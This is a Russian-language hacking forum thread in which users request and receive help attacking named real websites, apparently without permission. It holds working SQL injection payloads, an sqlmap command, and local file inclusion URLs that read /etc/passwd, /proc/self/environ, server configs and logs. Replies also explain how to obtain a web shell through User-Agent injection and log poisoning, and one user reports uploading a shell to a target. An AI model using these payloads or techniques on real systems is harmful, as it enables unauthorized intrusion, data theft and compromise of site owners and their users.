/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

Тоже енвайрон. Что сделать можно?

В данном случае base64 не помог

Br@!ns

28.05.2015, 19:49

https://www.danscomp.com/showfullimage.php?type=products&image=kkk'

Помогите раскрутить

Br@!ns

29.05.2015, 00:28

Запрос

Code:
union+select+count(table_name),2,3,4,5+from+inform ation_schema.tables+limit+0,1+--+

выдает 188 колонок. Однако при просмотре после limit 44,1 , выдается пустое поле. Обрывается все на букве "b", так что думаю что там на самом деле имеется много полей. С чем может быть связано данное явление?

faza02

29.05.2015, 01:03

Br@!ns said:
↑ (https://antichat.live/posts/3852858/)
https://www.danscomp.com/showfullimage.php?type=products&image=kkk
'
Помогите раскрутить

Code:
https://www.danscomp.com/showfullimage.php?type=products&image=kkk'and(extractvalue(1,repeat(version(),2))) ='1

дальше будет сложнее, много всего фильтруется.

Br@!ns said:
↑ (https://antichat.live/posts/3852962/)
Запрос

Code:
union+select+count(table_name),2,3,4,5+from+inform ation_schema.tables+limit+0,1+--+

выдает 188 колонок. Однако при просмотре после limit 44,1 , выдается пустое поле. Обрывается все на букве "b", так что думаю что там на самом деле имеется много полей. С чем может быть связано данное явление?

ничего не понял. давайте линк, посмотрю

Br@!ns said:
↑ (https://antichat.live/posts/3851809/)
Spoiler: link
http://www.inkaddict.com/search.php
Можно как нибудь это заиспользовать?
И что тут можно сделать?
http://visotsky.org/ru/search?q=(dsfsdf (http://visotsky.org/ru/search?q=%28dsfsdf)

можно бы было, если бы кавычки не экранировались:

Code:
http://www.inkaddict.com/search.php?query=lol

faza02

29.05.2015, 10:55

huntercs16 said:
↑ (https://antichat.live/posts/3852838/)

Code:
http://pelczar.rzeszow.pl/duszpasterstwoszpitala/index.php?action=aktualnosci/../../../../../../../../../../../../../../../proc/self/environ/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

Тоже енвайрон. Что сделать можно?
В данном случае base64 не помог

видим, что в ответе есть строка с user-agent. смотрим phpinfo():

allow url open on

вставляем строку

PHP:

получаем шелл. для начала можно залить простой аплоадер

BabaDook

29.05.2015, 20:10

Здравствуйте. Дайте пожалуйста подсказку как раскручивать такие инъекции

HTML:
http://emofans.ru/gallery/emowallp

пост данные

[PHP]
PHP:
[COLOR="#0000BB"]foto_msort=&foto_sort[COLOR="#007700"]=

frank

29.05.2015, 21:49

[QUOTE="BabaDook"]
BabaDook said:
↑ (https://antichat.live/posts/3853211/)
Здравствуйте. Дайте пожалуйста подсказку как раскручивать такие инъекции

HTML:
http://emofans.ru/gallery/emowallp

пост данные
[PHP]
PHP:
[COLOR="#0000BB"]foto_msort=&foto_sort[COLOR="#007700"]=

вот такими способами не пробовал ?

Code:
нъекция после order by

Слепая (more than 1 row)
script.php?par=(select if(substring(version(),1,1)=4,1,(select 1 union select 2)))

В ошибке
(ExtractValue)
script.php?par=id,ExtractValue(1,concat(0x5c,(sele ct table_name from information_schema.tables limit 1)))--
(rand)
script.php?par=(select 1 from (select count(0),concat((select version()),floor(rand(0)*2)) from information_schema.tables group by 2 limit 1)a)--
(name_const)
script.php?par=(select*from(select name_const(version(),1),name_const(version(),1))a)

копипаста с
https://rdot.org/forum/showthread.php?t=60

huntercs16

31.05.2015, 20:02

Ребята, есть LFI на сайте

Code:
http://alltrim.com.pl/technologie.php?cont=../../../../../../../../../../../../../../../../../../../../../../etc/passwd/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

еррор лог лежит тут: ../../../../../../../../../../../../var/log/httpd/error_log

Но он не содержит referer.

Что нибудь можно сделать?

faza02

31.05.2015, 23:46

huntercs16 said:
↑ (https://antichat.live/posts/3853993/)
Ребята, есть LFI на сайте

Code:
http://alltrim.com.pl/technologie.php?cont=../../../../../../../../../../../../../../../../../../../../../../etc/passwd/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

еррор лог лежит тут: ../../../../../../../../../../../../var/log/httpd/error_log
Но он не содержит referer.
Что нибудь можно сделать?

да не, с инклудом варианты всегда есть:

1. понять, откуда пишутся логи в еррор_лог, отправить запрос

Code:
GET /index.php/ HTTP/1.0

или с некорректным методом.

2. у вас огромный список сайтов на этом хосте (http://devel.wtf/reverse/alltrim.com.pl) ищите тот, где доступна заливка файлов и инклудте

например, http://agzeta.pl/index.php/forum/profile/personality

reuvenmatbil

01.06.2015, 15:01

имею ссылку вида

https://site.net/desktop/index.php

акунетикс показывает

X-Forwarded-For: 1'"

и получается You have an error in your SQL syntax

как это дело заюзать в sqlmap?

faza02

01.06.2015, 15:11

reuvenmatbil said:
↑ (https://antichat.live/posts/3854270/)
имею ссылку вида
https://site.net/desktop/index.php
акунетикс показывает
X-Forwarded-For: 1'"
и получается You have an error in your SQL syntax
как это дело заюзать в sqlmap?

не уверен, но попробуйте так:

Code:
sqlmap -u "http://site.net/desktop/index.php" --headers="X-Forwarded-For: *" --dbs

huntercs16

01.06.2015, 16:25

http://ekoterm-kolektory.pl/index.p...../../../../../../../../../proc/self/environ (http://ekoterm-kolektory.pl/index.php?go=../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00)
http://rudnik.eu1.pl/index.php?id=....../../../../../../../../../proc/self/environ (http://rudnik.eu1.pl/index.php?id=../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00)

Если поставить в куки например a=1, то отдает другую страницу.

Что сделать можно?

faza02

01.06.2015, 16:32

huntercs16 said:
↑ (https://antichat.live/posts/3854312/)
Если поставить в куки например a=1, то отдает другую страницу.
Что сделать можно?

я же вам уже подсказывал в аналогичной ситуации. реферрер!

BigBear

01.06.2015, 16:34

huntercs16 said:
↑ (https://antichat.live/posts/3854312/)
Если поставить в куки например a=1, то отдает другую страницу.
Что сделать можно?

Посочувствовать вашему опыту... Ведь перед вами настоящая LFI

http://i.imgur.com/J74NuNE.png

vikler

01.06.2015, 18:06

Ребят, помогите раскрутить. post инъекция в поле id

Code:
http://mail.topicimages.com/groupware/login.php

data:

Code:
mode=login&hmail_domain=topicimages.com&usb=&mac=&hmail_id=d'&hmail_pass=9&ck1=&ck2=

faza02

01.06.2015, 18:08

vikler said:
↑ (https://antichat.live/posts/3854354/)
Ребят, помогите раскрутить. post инъекция в поле id

Code:
http://mail.topicimages.com/groupware/login.php

data:

Code:
mode=login&hmail_domain=topicimages.com&usb=&mac=&hmail_id=d'&hmail_pass=9&ck1=&ck2=

mode=login&hmail_domain=topicimages.com&usb=&mac=&hmail_id=d'and(extractvalue(1,concat(0x3a,version( ))))='1&hmail_pass=9&ck1=&ck2=

YaBtr

01.06.2015, 18:22

huntercs16 said:
↑ (https://antichat.live/posts/3854312/)
Если поставить в куки например a=1, то отдает другую страницу.
Что сделать можно?

Тоже хочу что-нибудь заскринить

http://s50.radikal.ru/i127/1506/57/2a3f77e305dc.png

huntercs16

01.06.2015, 18:27

YaBtr said:
↑ (https://antichat.live/posts/3854365/)
Тоже хочу что-нибудь заскринить
http://s50.radikal.ru/i127/1506/57/2a3f77e305dc.png

Да я уже залился туда, спасибо.

Плагин глючит, который куки ставит

Merl0k

01.06.2015, 19:25

Всем доброго дня. ) Наткнулся на сайте канала Перец на такой вот запрос: http://peretz.ru/ frontend_dev.php который вывел меня на панель БД. Сам я по БД не спец, поэтому обращаюсь к вам с вопросом можно ли выудить что-нибудь вкусное отсюда?

BabaDook

02.06.2015, 04:31

Доброе утро! Подскажите пожалуйста, тут можно что-нибудь сделать?

PHP:
http://kenford.com.ua/wp-content/plugins/jquery-vertical-mega-menu/skin.php?skin=jj

frank (https://antichat.live/members/262983/),дружище, ты как всегда на высоте

faza02

02.06.2015, 10:31

BabaDook said:
↑ (https://antichat.live/posts/3854534/)
Доброе утро! Подскажите пожалуйста, тут можно что-нибудь сделать?

PHP:
http://kenford.com.ua/wp-content/plugins/jquery-vertical-mega-menu/skin.php?skin=jj

frank (https://antichat.live/members/262983/),дружище, ты как всегда на высоте

для начала идем на сайт вордпресса скачиваем исходники: https://wordpress.org/plugins/jquery-vertical-mega-menu/

открываем skin.php и видим на 31 строке:

PHP:
$str=str_replace(".","",$str);
$str=str_replace("/","",$str);

т. е. за пределы директории выйти не получится. без этого бы могла быть читалка файлов

BabaDook

02.06.2015, 11:02

yarbabin said:
↑ (https://antichat.live/posts/3854563/)
для начала идем на сайт вордпресса скачиваем исходники:
https://wordpress.org/plugins/jquery-vertical-mega-menu/
открываем skin.php и видим на 31 строке:

PHP:
$str=str_replace(".","",$str);
$str=str_replace("/","",$str);

т. е. за пределы директории выйти не получится. без этого бы могла быть читалка файлов

Спасибо, так и думал. Вас не узнать с новым ником)

huntercs16

02.06.2015, 23:29

Code:
http://bezpiecznykonin.konet.pl/index.php?d=../../../../../../../../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

Тут я насчитал 18 виртуальных хостов.

Пробую читать логи тут:/etc/httpd/logs/*

Не читается... что нибудь можно сделать?

Code:
http://jar-com.pl/index.php?dzial=procesory_amd&link=../../../../../../../../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf�&sort=cena_netto

Аналогично, но тут 31 сайт

Code:
http://aki.com.pl/download.php?format=pdf&id=../../../../../../../../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf�

58 сайтов

Code:
http://ktmiap.mech.pg.gda.pl
инклуд в куках
language=polish/../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/httpd/ssl.conf%00

Помогите пож. хотя бы с 1 сайтом разобраться

BigBear

03.06.2015, 13:19

huntercs16 said:
↑ (https://antichat.live/posts/3854903/)

Code:
http://bezpiecznykonin.konet.pl/index.php?d=../../../../../../../../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

Тут я насчитал 18 виртуальных хостов.
Пробую читать логи тут:/etc/httpd/logs/*
Не читается... что нибудь можно сделать?

Code:
http://jar-com.pl/index.php?dzial=procesory_amd&link=../../../../../../../../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf�&sort=cena_netto

Аналогично, но тут 31 сайт

Code:
http://aki.com.pl/download.php?format=pdf&id=../../../../../../../../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf�

58 сайтов

Code:
http://ktmiap.mech.pg.gda.pl
инклуд в куках
language=polish/../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/httpd/ssl.conf%00

Помогите пож. хотя бы с 1 сайтом разобраться

Омг. А зачем вы их считаете? Цель - найти вектор для проброса своего payload, а не для переклички хостов.

huntercs16

03.06.2015, 18:03

BigBear said:
↑ (https://antichat.live/posts/3855076/)
Омг. А зачем вы их считаете? Цель - найти вектор для проброса своего payload, а не для переклички хостов.

Серваки же интереснее ковырять людям)

Еще вопрос:

http://old.ikp.uw.edu.pl/index_en.php?s=../../../../../../../../../../../../../../../../../../../../../../var/log/apache2/error_log� (http://old.ikp.uw.edu.pl/index_en.php?s=../../../../../../../../../../../../../../../../../../../../../../var/log/apache2/error_log%00)

Еррор лог без реферера. Как можно обойти его отсутствие?

http://ciat.uni.lodz.pl/index.php?a.../././././././././././././././././././././././ (http://ciat.uni.lodz.pl/index.php?art=39&kat=5&url=tresc/../../../apache2/logs/error.log/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././)

Тоже самое

Merl0k

03.06.2015, 20:22

http://www.tidytowns.ie/interior.ph...from+information_schema.tables+limit +15,1+--+ (http://www.tidytowns.ie/interior.php?id=-2+union+select+1,2,table_name,4,5,6,7+from+informa tion_schema.tables+limit+15,1+--+)

5.0.95

Дальше не идет. Помогите, пожалуйста.

faza02

03.06.2015, 20:27

Merl0k said:
↑ (https://antichat.live/posts/3855239/)
http://www.tidytowns.ie/interior.ph...from+information_schema.tables+limit +15,1+--+ (http://www.tidytowns.ie/interior.php?id=-2+union+select+1,2,table_name,4,5,6,7+from+informa tion_schema.tables+limit+15,1+--+)
5.0.95
Дальше не идет. Помогите, пожалуйста.

что не идет дальше? все как обычно

Merl0k

03.06.2015, 20:36

yarbabin said:
↑ (https://antichat.live/posts/3855242/)
что не идет дальше? все как обычно

не получается извлечь название столбцов, выдает ошибку. Вы уж извините, я новичок.

faza02

03.06.2015, 20:38

huntercs16 said:
↑ (https://antichat.live/posts/3855198/)
Серваки же интереснее ковырять людям)
Еще вопрос:
Еррор лог без реферера. Как можно обойти его отсутствие?
Тоже самое

в первом случае все на месте. во втором - посмотрите на дату логов. там еще и винда, нужны другие трюки

.SpoilerTarget" type="button">Spoiler: phpinfo
http://savepic.ru/7200373.png

faza02

03.06.2015, 20:41

Merl0k said:
↑ (https://antichat.live/posts/3855245/)
не получается извлечь название столбцов, выдает ошибку. Вы уж извините, я новичок.

у вас фильтруются кавычки, значит при указании таблицы нужно использовать hex или char. перечитайте статью

Code:
http://www.tidytowns.ie/interior.php?id=-2+union+select+1,2,column_name,4,5,6,7+from+inform ation_schema.columns+where+table_name=0x726573756c 7473+limit+0,1--+

в данном случае 726573756c7473 это results в hex

huntercs16

03.06.2015, 21:00

yarbabin said:
↑ (https://antichat.live/posts/3855246/)
в первом случае все на месте. во втором - посмотрите на дату логов. там еще и винда, нужны другие трюки
Spoiler: phpinfo
http://savepic.ru/7200373.png

Code:
http://esn.po.opole.pl/index2.php?dir=photo&id=../../../../../../../../../../../../../../../../../../../../../../var/log/apache2/error_log/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.&name=img_0160.jpg&site=photo_zoom

Вот тут реально нестандартный еррор лог. Что это?

faza02

04.06.2015, 11:06

huntercs16 said:
↑ (https://antichat.live/posts/3855256/)

Code:
http://esn.po.opole.pl/index2.php?dir=photo&id=../../../../../../../../../../../../../../../../../../../../../../var/log/apache2/error_log/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.&name=i